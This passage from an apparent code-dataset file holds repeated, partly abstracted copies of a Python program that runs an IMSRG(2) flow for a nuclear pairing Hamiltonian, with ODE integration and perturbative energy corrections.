'occB_2B':\n occB_2B, 'occC_2B': occC_2B, 'occphA_2B': occphA_2B, 'eta_norm': \n 0.0, 'dE': 0.0, 'calc_eta': eta_white_atan, 'calc_rhs': flow_imsrg2}\n H1B, H2B = pairing_hamiltonian(delta, g, user_data)\n E, f, Gamma = normal_order(H1B, H2B, user_data)\n y0 = np.append([E], np.append(reshape(f, -1), reshape(Gamma, -1)))\n solver = ode(derivative_wrapper, jac=None)\n solver.set_integrator('vode', method='bdf', order=5, nsteps=1000)\n solver.set_f_params(user_data)\n solver.set_initial_value(y0, 0.0)\n sfinal = 50\n ds = 0.1\n print(\n '%-8s %-14s %-14s %-14s %-14s %-14s %-14s %-14s %-14s'\n % ('s', 'E', 'DE(2)', 'DE(3)', 'E+DE', 'dE/ds', '||eta||',\n '||fod||', '||Gammaod||'))\n print('-' * 148)\n while solver.successful() and solver.t < sfinal:\n ys = solver.integrate(sfinal, step=True)\n dim2B = dim1B * dim1B\n E, f, Gamma = get_operator_from_y(ys, dim1B, dim2B)\n DE2 = calc_mbpt2(f, Gamma, user_data)\n DE3 = calc_mbpt3(f, Gamma, user_data)\n norm_fod = calc_fod_norm(f, user_data)\n norm_Gammaod = calc_Gammaod_norm(Gamma, user_data)\n print(\n '%8.5f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f'\n % (solver.t, E, DE2, DE3, E + DE2 + DE3, user_data['dE'],\n user_data['eta_norm'], norm_fod, norm_Gammaod))\n if abs(DE2 / E) < 1e-07:\n break\n return\n\n\n<code token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B):\n dim = len(bas2B)\n Gamma = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(bas2B):\n for i2, (c, d) in enumerate(bas2B):\n Gamma[i1, i2] -= Gamma_ph[idxph2B[a, d], idxph2B[c, b]]\n return Gamma\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef construct_occupation_1B(bas1B, holes, particles):\n dim = len(bas1B)\n occ = np.zeros(dim)\n for i in holes:\n occ[i] = 1.0\n return occ\n\n\n<function token>\n\n\ndef construct_occupationB_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j]\n return occ\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef eta_wegner(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n fd = np.zeros_like(f)\n fod = np.zeros_like(f)\n Gammad = np.zeros_like(Gamma)\n Gammaod = np.zeros_like(Gamma)\n for a in particles:\n for i in holes:\n fod[a, i] = f[a, i]\n fod[i, a] = f[i, a]\n fd = f - fod\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n Gammaod[idx2B[a, b], idx2B[i, j]] = Gamma[idx2B[a, b],\n idx2B[i, j]]\n Gammaod[idx2B[i, j], idx2B[a, b]] = Gamma[idx2B[i, j],\n idx2B[a, b]]\n Gammad = Gamma - Gammaod\n eta1B = np.zeros_like(f)\n eta1B += commutator(fd, fod)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n eta1B[p, q] += fd[i, a] * Gammaod[idx2B[a, p], idx2B[i, q]\n ] - fd[a, i] * Gammaod[idx2B[i, p], idx2B[a, q]] - fod[\n i, a] * Gammad[idx2B[a, p], idx2B[i, q]] + fod[a, i\n ] * Gammad[idx2B[i, p], idx2B[a, q]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[i, p], idx2B[i, q]] -\n transpose(GammaGamma)[idx2B[i, p], idx2B[i, q]])\n GammaGamma = dot(Gammad, dot(occC_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(GammaGamma)[idx2B[r, p], idx2B[r, q]])\n eta2B = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n eta2B[idx2B[p, q], idx2B[r, s]] += fd[p, t] * Gammaod[\n idx2B[t, q], idx2B[r, s]] + fd[q, t] * Gammaod[\n idx2B[p, t], idx2B[r, s]] - fd[t, r] * Gammaod[\n idx2B[p, q], idx2B[t, s]] - fd[t, s] * Gammaod[\n idx2B[p, q], idx2B[r, t]] - fod[p, t] * Gammad[\n idx2B[t, q], idx2B[r, s]] - fod[q, t] * Gammad[\n idx2B[p, t], idx2B[r, s]] + fod[t, r] * Gammad[\n idx2B[p, q], idx2B[t, s]] + fod[t, s] * Gammad[\n idx2B[p, q], idx2B[r, t]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n eta2B += 0.5 * (GammaGamma - transpose(GammaGamma))\n Gammad_ph = ph_transform_2B(Gammad, bas2B, idx2B, basph2B, idxph2B)\n Gammaod_ph = ph_transform_2B(Gammaod, bas2B, idx2B, basph2B, idxph2B)\n GammaGamma_ph = dot(Gammad_ph, dot(occphA_2B, Gammaod_ph))\n GammaGamma = inverse_ph_transform_2B(GammaGamma_ph, bas2B, idx2B,\n basph2B, idxph2B)\n work = np.zeros_like(GammaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= GammaGamma[i1, i2] - GammaGamma[idx2B[j, i], i2\n ] - GammaGamma[i1, idx2B[l, k]] + GammaGamma[idx2B[j, i],\n idx2B[l, k]]\n GammaGamma = work\n eta2B += GammaGamma\n return eta1B, eta2B\n\n\ndef flow_imsrg2(eta1B, eta2B, f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n basph2B = user_data['basph2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n dE = 0.0\n for i in holes:\n for a in particles:\n dE += eta1B[i, a] * f[a, i] - eta1B[a, i] * f[i, a]\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n dE += 0.5 * eta2B[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[a, b], idx2B[i, j]]\n df = np.zeros_like(f)\n df += commutator(eta1B, f)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n df[p, q] += eta1B[i, a] * Gamma[idx2B[a, p], idx2B[i, q]\n ] - eta1B[a, i] * Gamma[idx2B[i, p], idx2B[a, q]] - f[\n i, a] * eta2B[idx2B[a, p], idx2B[i, q]] + f[a, i\n ] * eta2B[idx2B[i, p], idx2B[a, q]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n df[p, q] += 0.5 * (etaGamma[idx2B[i, p], idx2B[i, q]] +\n transpose(etaGamma)[idx2B[i, p], idx2B[i, q]])\n etaGamma = dot(eta2B, dot(occC_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n df[p, q] += 0.5 * (etaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(etaGamma)[idx2B[r, p], idx2B[r, q]])\n dGamma = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n dGamma[idx2B[p, q], idx2B[r, s]] += eta1B[p, t\n ] * Gamma[idx2B[t, q], idx2B[r, s]] + eta1B[q, t\n ] * Gamma[idx2B[p, t], idx2B[r, s]] - eta1B[t, r\n ] * Gamma[idx2B[p, q], idx2B[t, s]] - eta1B[t, s\n ] * Gamma[idx2B[p, q], idx2B[r, t]] - f[p, t\n ] * eta2B[idx2B[t, q], idx2B[r, s]] - f[q, t\n ] * eta2B[idx2B[p, t], idx2B[r, s]] + f[t, r\n ] * eta2B[idx2B[p, q], idx2B[t, s]] + f[t, s\n ] * eta2B[idx2B[p, q], idx2B[r, t]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n dGamma += 0.5 * (etaGamma + transpose(etaGamma))\n eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B)\n Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B)\n etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph))\n etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B,\n idxph2B)\n work = np.zeros_like(etaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= etaGamma[i1, i2] - etaGamma[idx2B[j, i], i2\n ] - etaGamma[i1, idx2B[l, k]] + etaGamma[idx2B[j, i], idx2B\n [l, k]]\n etaGamma = work\n dGamma += etaGamma\n return dE, df, dGamma\n\n\ndef get_operator_from_y(y, dim1B, dim2B):\n ptr = 0\n zero_body = y[ptr]\n ptr += 1\n one_body = reshape(y[ptr:ptr + dim1B * dim1B], (dim1B, dim1B))\n ptr += dim1B * dim1B\n two_body = reshape(y[ptr:ptr + dim2B * dim2B], (dim2B, dim2B))\n return zero_body, one_body, two_body\n\n\n<function token>\n\n\ndef pairing_hamiltonian(delta, g, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n dim = len(bas1B)\n H1B = np.zeros((dim, dim))\n for i in bas1B:\n H1B[i, i] = delta * np.floor_divide(i, 2)\n dim = len(bas2B)\n H2B = np.zeros((dim, dim))\n for i, j in bas2B:\n if i % 2 == 0 and j == i + 1:\n for k, l in bas2B:\n if k % 2 == 0 and l == k + 1:\n H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g\n H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g\n H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g\n H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g\n return H1B, H2B\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef main():\n delta = float(argv[1])\n g = float(argv[2])\n particles = 4\n dim1B = 8\n holes = [0, 1, 2, 3]\n particles = [4, 5, 6, 7]\n bas1B = range(dim1B)\n bas2B = construct_basis_2B(holes, particles)\n basph2B = construct_basis_ph2B(holes, particles)\n idx2B = construct_index_2B(bas2B)\n idxph2B = construct_index_2B(basph2B)\n occ1B = construct_occupation_1B(bas1B, holes, particles)\n occA_2B = construct_occupationA_2B(bas2B, occ1B)\n occB_2B = construct_occupationB_2B(bas2B, occ1B)\n occC_2B = construct_occupationC_2B(bas2B, occ1B)\n occphA_2B = construct_occupationA_2B(basph2B, occ1B)\n user_data = {'dim1B': dim1B, 'holes': holes, 'particles': particles,\n 'bas1B': bas1B, 'bas2B': bas2B, 'basph2B': basph2B, 'idx2B': idx2B,\n 'idxph2B': idxph2B, 'occ1B': occ1B, 'occA_2B': occA_2B, 'occB_2B':\n occB_2B, 'occC_2B': occC_2B, 'occphA_2B': occphA_2B, 'eta_norm': \n 0.0, 'dE': 0.0, 'calc_eta': eta_white_atan, 'calc_rhs': flow_imsrg2}\n H1B, H2B = pairing_hamiltonian(delta, g, user_data)\n E, f, Gamma = normal_order(H1B, H2B, user_data)\n y0 = np.append([E], np.append(reshape(f, -1), reshape(Gamma, -1)))\n solver = ode(derivative_wrapper, jac=None)\n solver.set_integrator('vode', method='bdf', order=5, nsteps=1000)\n solver.set_f_params(user_data)\n solver.set_initial_value(y0, 0.0)\n sfinal = 50\n ds = 0.1\n print(\n '%-8s %-14s %-14s %-14s %-14s %-14s %-14s %-14s %-14s'\n % ('s', 'E', 'DE(2)', 'DE(3)', 'E+DE', 'dE/ds', '||eta||',\n '||fod||', '||Gammaod||'))\n print('-' * 148)\n while solver.successful() and solver.t < sfinal:\n ys = solver.integrate(sfinal, step=True)\n dim2B = dim1B * dim1B\n E, f, Gamma = get_operator_from_y(ys, dim1B, dim2B)\n DE2 = calc_mbpt2(f, Gamma, user_data)\n DE3 = calc_mbpt3(f, Gamma, user_data)\n norm_fod = calc_fod_norm(f, user_data)\n norm_Gammaod = calc_Gammaod_norm(Gamma, user_data)\n print(\n '%8.5f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f'\n % (solver.t, E, DE2, DE3, E + DE2 + DE3, user_data['dE'],\n user_data['eta_norm'], norm_fod, norm_Gammaod))\n if abs(DE2 / E) < 1e-07:\n break\n return\n\n\n<code token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B):\n dim = len(bas2B)\n Gamma = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(bas2B):\n for i2, (c, d) in enumerate(bas2B):\n Gamma[i1, i2] -= Gamma_ph[idxph2B[a, d], idxph2B[c, b]]\n return Gamma\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef construct_occupation_1B(bas1B, holes, particles):\n dim = len(bas1B)\n occ = np.zeros(dim)\n for i in holes:\n occ[i] = 1.0\n return occ\n\n\n<function token>\n\n\ndef construct_occupationB_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j]\n return occ\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef flow_imsrg2(eta1B, eta2B, f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n basph2B = user_data['basph2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n dE = 0.0\n for i in holes:\n for a in particles:\n dE += eta1B[i, a] * f[a, i] - eta1B[a, i] * f[i, a]\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n dE += 0.5 * eta2B[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[a, b], idx2B[i, j]]\n df = np.zeros_like(f)\n df += commutator(eta1B, f)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n df[p, q] += eta1B[i, a] * Gamma[idx2B[a, p], idx2B[i, q]\n ] - eta1B[a, i] * Gamma[idx2B[i, p], idx2B[a, q]] - f[\n i, a] * eta2B[idx2B[a, p], idx2B[i, q]] + f[a, i\n ] * eta2B[idx2B[i, p], idx2B[a, q]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n df[p, q] += 0.5 * (etaGamma[idx2B[i, p], idx2B[i, q]] +\n transpose(etaGamma)[idx2B[i, p], idx2B[i, q]])\n etaGamma = dot(eta2B, dot(occC_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n df[p, q] += 0.5 * (etaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(etaGamma)[idx2B[r, p], idx2B[r, q]])\n dGamma = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n dGamma[idx2B[p, q], idx2B[r, s]] += eta1B[p, t\n ] * Gamma[idx2B[t, q], idx2B[r, s]] + eta1B[q, t\n ] * Gamma[idx2B[p, t], idx2B[r, s]] - eta1B[t, r\n ] * Gamma[idx2B[p, q], idx2B[t, s]] - eta1B[t, s\n ] * Gamma[idx2B[p, q], idx2B[r, t]] - f[p, t\n ] * eta2B[idx2B[t, q], idx2B[r, s]] - f[q, t\n ] * eta2B[idx2B[p, t], idx2B[r, s]] + f[t, r\n ] * eta2B[idx2B[p, q], idx2B[t, s]] + f[t, s\n ] * eta2B[idx2B[p, q], idx2B[r, t]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n dGamma += 0.5 * (etaGamma + transpose(etaGamma))\n eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B)\n Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B)\n etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph))\n etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B,\n idxph2B)\n work = np.zeros_like(etaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= etaGamma[i1, i2] - etaGamma[idx2B[j, i], i2\n ] - etaGamma[i1, idx2B[l, k]] + etaGamma[idx2B[j, i], idx2B\n [l, k]]\n etaGamma = work\n dGamma += etaGamma\n return dE, df, dGamma\n\n\ndef get_operator_from_y(y, dim1B, dim2B):\n ptr = 0\n zero_body = y[ptr]\n ptr += 1\n one_body = reshape(y[ptr:ptr + dim1B * dim1B], (dim1B, dim1B))\n ptr += dim1B * dim1B\n two_body = reshape(y[ptr:ptr + dim2B * dim2B], (dim2B, dim2B))\n return zero_body, one_body, two_body\n\n\n<function token>\n\n\ndef pairing_hamiltonian(delta, g, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n dim = len(bas1B)\n H1B = np.zeros((dim, dim))\n for i in bas1B:\n H1B[i, i] = delta * np.floor_divide(i, 2)\n dim = len(bas2B)\n H2B = np.zeros((dim, dim))\n for i, j in bas2B:\n if i % 2 == 0 and j == i + 1:\n for k, l in bas2B:\n if k % 2 == 0 and l == k + 1:\n H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g\n H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g\n H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g\n H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g\n return H1B, H2B\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef main():\n delta = float(argv[1])\n g = float(argv[2])\n particles = 4\n dim1B = 8\n holes = [0, 1, 2, 3]\n particles = [4, 5, 6, 7]\n bas1B = range(dim1B)\n bas2B = construct_basis_2B(holes, particles)\n basph2B = construct_basis_ph2B(holes, particles)\n idx2B = construct_index_2B(bas2B)\n idxph2B = construct_index_2B(basph2B)\n occ1B = construct_occupation_1B(bas1B, holes, particles)\n occA_2B = construct_occupationA_2B(bas2B, occ1B)\n occB_2B = construct_occupationB_2B(bas2B, occ1B)\n occC_2B = construct_occupationC_2B(bas2B, occ1B)\n occphA_2B = construct_occupationA_2B(basph2B, occ1B)\n user_data = {'dim1B': dim1B, 'holes': holes, 'particles': particles,\n 'bas1B': bas1B, 'bas2B': bas2B, 'basph2B': basph2B, 'idx2B': idx2B,\n 'idxph2B': idxph2B, 'occ1B': occ1B, 'occA_2B': occA_2B, 'occB_2B':\n occB_2B, 'occC_2B': occC_2B, 'occphA_2B': occphA_2B, 'eta_norm': \n 0.0, 'dE': 0.0, 'calc_eta': eta_white_atan, 'calc_rhs': flow_imsrg2}\n H1B, H2B = pairing_hamiltonian(delta, g, user_data)\n E, f, Gamma = normal_order(H1B, H2B, user_data)\n y0 = np.append([E], np.append(reshape(f, -1), reshape(Gamma, -1)))\n solver = ode(derivative_wrapper, jac=None)\n solver.set_integrator('vode', method='bdf', order=5, nsteps=1000)\n solver.set_f_params(user_data)\n solver.set_initial_value(y0, 0.0)\n sfinal = 50\n ds = 0.1\n print(\n '%-8s %-14s %-14s %-14s %-14s %-14s %-14s %-14s %-14s'\n % ('s', 'E', 'DE(2)', 'DE(3)', 'E+DE', 'dE/ds', '||eta||',\n '||fod||', '||Gammaod||'))\n print('-' * 148)\n while solver.successful() and solver.t < sfinal:\n ys = solver.integrate(sfinal, step=True)\n dim2B = dim1B * dim1B\n E, f, Gamma = get_operator_from_y(ys, dim1B, dim2B)\n DE2 = calc_mbpt2(f, Gamma, user_data)\n DE3 = calc_mbpt3(f, Gamma, user_data)\n norm_fod = calc_fod_norm(f, user_data)\n norm_Gammaod = calc_Gammaod_norm(Gamma, user_data)\n print(\n '%8.5f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f'\n % (solver.t, E, DE2, DE3, E + DE2 + DE3, user_data['dE'],\n user_data['eta_norm'], norm_fod, norm_Gammaod))\n if abs(DE2 / E) < 1e-07:\n break\n return\n\n\n<code token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B):\n dim = len(bas2B)\n Gamma = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(bas2B):\n for i2, (c, d) in enumerate(bas2B):\n Gamma[i1, i2] -= Gamma_ph[idxph2B[a, d], idxph2B[c, b]]\n return Gamma\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef construct_occupation_1B(bas1B, holes, particles):\n dim = len(bas1B)\n occ = np.zeros(dim)\n for i in holes:\n occ[i] = 1.0\n return occ\n\n\n<function token>\n\n\ndef construct_occupationB_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j]\n return occ\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef flow_imsrg2(eta1B, eta2B, f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n basph2B = user_data['basph2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n dE = 0.0\n for i in holes:\n for a in particles:\n dE += eta1B[i, a] * f[a, i] - eta1B[a, i] * f[i, a]\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n dE += 0.5 * eta2B[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[a, b], idx2B[i, j]]\n df = np.zeros_like(f)\n df += commutator(eta1B, f)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n df[p, q] += eta1B[i, a] * Gamma[idx2B[a, p], idx2B[i, q]\n ] - eta1B[a, i] * Gamma[idx2B[i, p], idx2B[a, q]] - f[\n i, a] * eta2B[idx2B[a, p], idx2B[i, q]] + f[a, i\n ] * eta2B[idx2B[i, p], idx2B[a, q]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n df[p, q] += 0.5 * (etaGamma[idx2B[i, p], idx2B[i, q]] +\n transpose(etaGamma)[idx2B[i, p], idx2B[i, q]])\n etaGamma = dot(eta2B, dot(occC_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n df[p, q] += 0.5 * (etaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(etaGamma)[idx2B[r, p], idx2B[r, q]])\n dGamma = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n dGamma[idx2B[p, q], idx2B[r, s]] += eta1B[p, t\n ] * Gamma[idx2B[t, q], idx2B[r, s]] + eta1B[q, t\n ] * Gamma[idx2B[p, t], idx2B[r, s]] - eta1B[t, r\n ] * Gamma[idx2B[p, q], idx2B[t, s]] - eta1B[t, s\n ] * Gamma[idx2B[p, q], idx2B[r, t]] - f[p, t\n ] * eta2B[idx2B[t, q], idx2B[r, s]] - f[q, t\n ] * eta2B[idx2B[p, t], idx2B[r, s]] + f[t, r\n ] * eta2B[idx2B[p, q], idx2B[t, s]] + f[t, s\n ] * eta2B[idx2B[p, q], idx2B[r, t]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n dGamma += 0.5 * (etaGamma + transpose(etaGamma))\n eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B)\n Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B)\n etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph))\n etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B,\n idxph2B)\n work = np.zeros_like(etaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= etaGamma[i1, i2] - etaGamma[idx2B[j, i], i2\n ] - etaGamma[i1, idx2B[l, k]] + etaGamma[idx2B[j, i], idx2B\n [l, k]]\n etaGamma = work\n dGamma += etaGamma\n return dE, df, dGamma\n\n\ndef get_operator_from_y(y, dim1B, dim2B):\n ptr = 0\n zero_body = y[ptr]\n ptr += 1\n one_body = reshape(y[ptr:ptr + dim1B * dim1B], (dim1B, dim1B))\n ptr += dim1B * dim1B\n two_body = reshape(y[ptr:ptr + dim2B * dim2B], (dim2B, dim2B))\n return zero_body, one_body, two_body\n\n\n<function token>\n\n\ndef pairing_hamiltonian(delta, g, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n dim = len(bas1B)\n H1B = np.zeros((dim, dim))\n for i in bas1B:\n H1B[i, i] = delta * np.floor_divide(i, 2)\n dim = len(bas2B)\n H2B = np.zeros((dim, dim))\n for i, j in bas2B:\n if i % 2 == 0 and j == i + 1:\n for k, l in bas2B:\n if k % 2 == 0 and l == k + 1:\n H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g\n H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g\n H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g\n H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g\n return H1B, H2B\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B):\n dim = len(bas2B)\n Gamma = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(bas2B):\n for i2, (c, d) in enumerate(bas2B):\n Gamma[i1, i2] -= Gamma_ph[idxph2B[a, d], idxph2B[c, b]]\n return Gamma\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef construct_occupation_1B(bas1B, holes, particles):\n dim = len(bas1B)\n occ = np.zeros(dim)\n for i in holes:\n occ[i] = 1.0\n return occ\n\n\n<function token>\n\n\ndef construct_occupationB_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j]\n return occ\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef flow_imsrg2(eta1B, eta2B, f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n basph2B = user_data['basph2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n dE = 0.0\n for i in holes:\n for a in particles:\n dE += eta1B[i, a] * f[a, i] - eta1B[a, i] * f[i, a]\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n dE += 0.5 * eta2B[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[a, b], idx2B[i, j]]\n df = np.zeros_like(f)\n df += commutator(eta1B, f)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n df[p, q] += eta1B[i, a] * Gamma[idx2B[a, p], idx2B[i, q]\n ] - eta1B[a, i] * Gamma[idx2B[i, p], idx2B[a, q]] - f[\n i, a] * eta2B[idx2B[a, p], idx2B[i, q]] + f[a, i\n ] * eta2B[idx2B[i, p], idx2B[a, q]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n df[p, q] += 0.5 * (etaGamma[idx2B[i, p], idx2B[i, q]] +\n transpose(etaGamma)[idx2B[i, p], idx2B[i, q]])\n etaGamma = dot(eta2B, dot(occC_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n df[p, q] += 0.5 * (etaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(etaGamma)[idx2B[r, p], idx2B[r, q]])\n dGamma = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n dGamma[idx2B[p, q], idx2B[r, s]] += eta1B[p, t\n ] * Gamma[idx2B[t, q], idx2B[r, s]] + eta1B[q, t\n ] * Gamma[idx2B[p, t], idx2B[r, s]] - eta1B[t, r\n ] * Gamma[idx2B[p, q], idx2B[t, s]] - eta1B[t, s\n ] * Gamma[idx2B[p, q], idx2B[r, t]] - f[p, t\n ] * eta2B[idx2B[t, q], idx2B[r, s]] - f[q, t\n ] * eta2B[idx2B[p, t], idx2B[r, s]] + 